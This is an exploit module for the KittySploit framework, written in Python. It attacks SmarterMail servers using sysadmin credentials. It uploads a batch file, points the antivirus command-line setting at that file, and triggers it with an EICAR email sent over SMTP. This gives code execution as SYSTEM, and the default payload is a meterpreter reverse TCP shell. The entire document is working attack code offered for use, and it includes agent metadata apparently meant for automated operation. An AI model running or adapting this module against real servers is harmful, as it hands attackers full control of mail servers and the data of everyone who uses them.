SmarterMail Antivirus Command-Line Configuration RCE (SYSTEM)

"""SmarterMail sysadmin antivirus commandLine BAT upload → SYSTEM RCE via SMTP scan."""
from __future__ import annotations
import base64
import json
import socket
import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'SmarterMail Antivirus Command-Line Configuration RCE (SYSTEM)', 'description': 'Sysadmin JWT: upload poc_rce.bat, set antivirus commandLine, trigger scan via SMTP EICAR message.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/meterpreter_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['smartertools', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/smartermail_av_commandline_rce_detect']}}}
    _BAT_MARKER = 'SM_POC_RCE_CONFIRMED'
    _MARKER_DIR = 'C:\\SmarterMail'
    _MARKER_FILE = 'poc_rce_marker.txt'
    _MARKER_PATH = _MARKER_DIR + '\\' + _MARKER_FILE
    _TEMP_MARKER = 'C:\\Windows\\Temp\\sm_poc_rce.tmp'
    port = OptPort(17017, 'SmarterMail web port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    smtp_port = OptPort(25, 'SMTP port for trigger mail', required=False)
    username = OptString('', 'Sysadmin mailbox / SMTP user', required=True)
    password = OptString('', 'Password', required=True)
    bat_name = OptString('poc_rce.bat', 'Assets BAT filename', required=False)

    def _auth_token(self) -> str | None:
        resp = self.http_request('POST', '/api/v1/auth/authenticate-user', data=json.dumps({'username': str(self.username or ''), 'password': str(self.password or '')}), headers={'Content-Type': 'application/json'})
        if not resp or int(resp.status_code or 0) >= 400:
            return None
        try:
            return json.loads(resp.text or '{}').get('accessToken') or None
        except json.JSONDecodeError:
            return None

    def _auth_headers(self, token: str) -> dict[str, str]:
        return {'Authorization': 'Bearer ' + token, 'Content-Type': 'application/json'}

    def _upload_bat(self, token: str, cmd_line: str) -> bool:
        bat = '@echo off\r\n'
        bat += f'echo {self._BAT_MARKER} > {self._MARKER_PATH}\r\n'
        bat += f'{cmd_line}\r\n'
        bat += f'whoami >> {self._MARKER_PATH}\r\n'
        bat += f'whoami > {self._TEMP_MARKER}\r\n'
        bat_content = bat.encode('utf-8', errors='replace')
        boundary = '----PoCBoundary%d' % int(time.time() * 1000)
        body = f'--{boundary}\r\nContent-Disposition: form-data; name="resumableChunkNumber"\r\n\r\n1\r\n--{boundary}\r\nContent-Disposition: form-data; name="resumableTotalChunks"\r\n\r\n1\r\n--{boundary}\r\nContent-Disposition: form-data; name="resumableTotalSize"\r\n\r\n{len(bat_content)}\r\n--{boundary}\r\nContent-Disposition: form-data; name="file"; filename="{self.bat_name}"\r\nContent-Type: application/octet-stream\r\n\r\n'.encode() + bat_content + f'\r\n--{boundary}--\r\n'.encode()
        resp = self.http_request('POST', '/api/upload', data=body, headers={'Authorization': 'Bearer ' + token, 'Content-Type': f'multipart/form-data; boundary={boundary}'})
        return bool(resp and int(resp.status_code or 0) < 400)

    def _set_antivirus(self, token: str) -> bool:
        bat = str(self.bat_name or 'poc_rce.bat')
        payload = {'quarantineDirectory': 'C:\\SmarterMail\\Domains\\Quarantine\\', 'enableSpoolCommandLine': False, 'spoolCommandLineFile': '', 'spoolCommandLineArguments': '', 'spoolCommandLineTimeout': 5, 'spoolExecutableVisible': False, 'commandLine': bat, 'commandLineArguments': '', 'commandLineScanMessages': True, 'commandLineScanMessagesWithoutAttachments': True, 'commandLineScanFiles': True}
        resp = self.http_request('POST', '/api/v1/settings/sysadmin/antivirus/settings', data=json.dumps(payload), headers=self._auth_headers(token))
        if not resp:
            return False
        try:
            return bool(json.loads(resp.text or '{}').get('success'))
        except json.JSONDecodeError:
            return int(resp.status_code or 0) < 400

    def _smtp_trigger(self) -> bool:
        host = str(self.rhost or '127.0.0.1')
        port = int(self.smtp_port or 25)
        user = str(self.username or '')
        password = str(self.password or '')

        def smtp_cmd(sock: socket.socket, cmd: str | None, expect: int | None=None) -> str:
            if cmd:
                sock.sendall((cmd + '\r\n').encode())
            time.sleep(0.5)
            data = b''
            sock.settimeout(5)
            try:
                while True:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    data += chunk
                    if b'\n' in data:
                        break
            except socket.timeout:
                pass
            resp = data.decode('utf-8', errors='replace').strip()
            if expect and resp and (not resp.startswith(str(expect))):
                print_warning(f'SMTP expected {expect}: {resp[:80]}')
            return resp
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(15)
        try:
            sock.connect((host, port))
            smtp_cmd(sock, None)
            smtp_cmd(sock, 'EHLO poc.test', 250)
            smtp_cmd(sock, 'AUTH LOGIN', 334)
            smtp_cmd(sock, base64.b64encode(user.encode()).decode(), 334)
            resp = smtp_cmd(sock, base64.b64encode(password.encode()).decode(), 235)
            if '235' not in resp:
                return False
            smtp_cmd(sock, f'MAIL FROM:<{user}>', 250)
            smtp_cmd(sock, f'RCPT TO:<{user}>', 250)
            smtp_cmd(sock, 'DATA', 354)
            eicar = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
            email = f'From: {user}\r\nTo: {user}\r\nSubject: PoC Trigger\r\n\r\n{eicar}\r\n.\r\n'
            sock.sendall(email.encode())
            time.sleep(2)
            smtp_cmd(sock, 'QUIT', 221)
            return True
        except OSError as exc:
            print_warning(f'SMTP trigger failed: {exc}')
            return False
        finally:
            sock.close()

    def execute(self, cmd: str) -> str:
        token = self._auth_token()
        if not token:
            return 'SmarterMail authentication failed'
        if not self._upload_bat(token, cmd):
            return 'BAT upload failed — place BAT in Settings\\Assets\\ manually'
        if not self._set_antivirus(token):
            return 'Failed to persist antivirus commandLine'
        if not self._smtp_trigger():
            return 'Antivirus configured; SMTP trigger failed — send EICAR mail manually'
        time.sleep(20)
        return f'Chain complete; check {self._MARKER_PATH} or {self._TEMP_MARKER} on target (marker {self._BAT_MARKER})'

    def check(self):
        resp = self.http_request('GET', '/api/v1/auth/authenticate-user')
        if resp and int(resp.status_code or 0) in (200, 405, 401):
            return {'vulnerable': True, 'reason': 'SmarterMail API reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'API not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload for BAT body')
            return False
        if not str(self.username or '').strip() or not str(self.password or '').strip():
            print_error('Set username and password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Upload BAT, set antivirus commandLine, SMTP EICAR trigger')
        out = self.execute(shell)
        print_info(out)
        self.vulnerable()
        return True